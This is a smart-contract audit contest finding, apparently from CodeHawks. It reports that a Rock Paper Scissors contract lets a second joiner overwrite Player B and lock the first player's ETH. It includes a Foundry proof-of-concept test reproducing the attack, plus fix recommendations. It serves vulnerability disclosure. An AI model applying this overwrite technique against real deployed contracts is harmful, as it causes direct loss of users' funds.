Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Player B Position can get Overwritten Causing Complete Loss of Position and Funds

Summary

A vulnerability exists in the RockPaperScissors.sol where Player B's position can be overwritten by another player after joining a game, resulting in loss of deposited ETH with no refund mechanism.

Vulnerability Details

Root cause:

https://github.com/CodeHawks-Contests/2025-04-rock-paper-scissors/blob/25cf9f29c3accd96a532e416eee6198808ba5271/src/RockPaperScissors.sol#L150C4-L164C6

https://github.com/CodeHawks-Contests/2025-04-rock-paper-scissors/blob/25cf9f29c3accd96a532e416eee6198808ba5271/src/RockPaperScissors.sol#L166C2-L184C6


Initial State:

  • Game created by Player A with ETH deposit

  • Game state remains "Created" after Player B joins

Step 1:

  • Bob joins as Player B and deposits 1 ETH

  • Game state remains "Created"

Step 2:

  • Mallory calls joinGameWithEth() for same game

  • Overwrites Bob's position without refunding his ETH

Outcome:

  • Bob loses 1 ETH with no refund mechanism

  • ETH remains locked in contract

  • Mallory becomes new Player B

Impact

  • Direct loss of user funds

  • No recovery mechanism for overwritten players

  • Contract accumulates unrecoverable ETH

  • Can be used for griefing attacks

Tools Used

Manual Review

POC

pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract PlayerBOverwriteTest is Test {
RockPaperScissors public rps;
address alice = address(0x1);
address bob = address(0x2);
address mallory = address(0x3);
function setUp() public {
// Deploy RockPaperScissors contract
rps = new RockPaperScissors();
// Fund accounts with ETH
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
vm.deal(mallory, 10 ether);
}
function testPlayerBOverwrite() public {
// 1. Alice creates game with ETH
vm.startPrank(alice);
uint256 gameId = rps.createGameWithEth{value: 1 ether}(1, 5 minutes);
vm.stopPrank();
// 2. Bob joins the game
vm.startPrank(bob);
rps.joinGameWithEth{value: 1 ether}(gameId);
vm.stopPrank();
// Check Bob is player B
(address playerA, address playerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) = rps.games(gameId);
assertEq(playerB, bob, "Player B should be Bob");
assertTrue(state == RockPaperScissors.GameState.Created, "Game state should be Created");
// Store Bob's balance before being overwritten
uint256 bobBalanceBefore = address(bob).balance;
// 3. Mallory overwrites Bob's position
vm.startPrank(mallory);
rps.joinGameWithEth{value: 1 ether}(gameId);
vm.stopPrank();
// Check Mallory has overwritten Bob
(,address newPlayerB,,,,,,,,,,,,,,) = rps.games(gameId);
assertEq(newPlayerB, mallory, "Player B should be Mallory");
// Check Bob lost his ETH
assertEq(address(bob).balance, bobBalanceBefore, "Bob should not have received ETH back");
assertEq(address(rps).balance, 3 ether, "Contract should have 3 ETH");
}
}

Recommendations

  1. Change game state after Player B joins

  2. Consider adding refund mechanism for overwritten players

Updates

Appeal created

m3dython Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Absence of State Change on Join Allows Player B Hijacking

Game state remains Created after a player joins

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.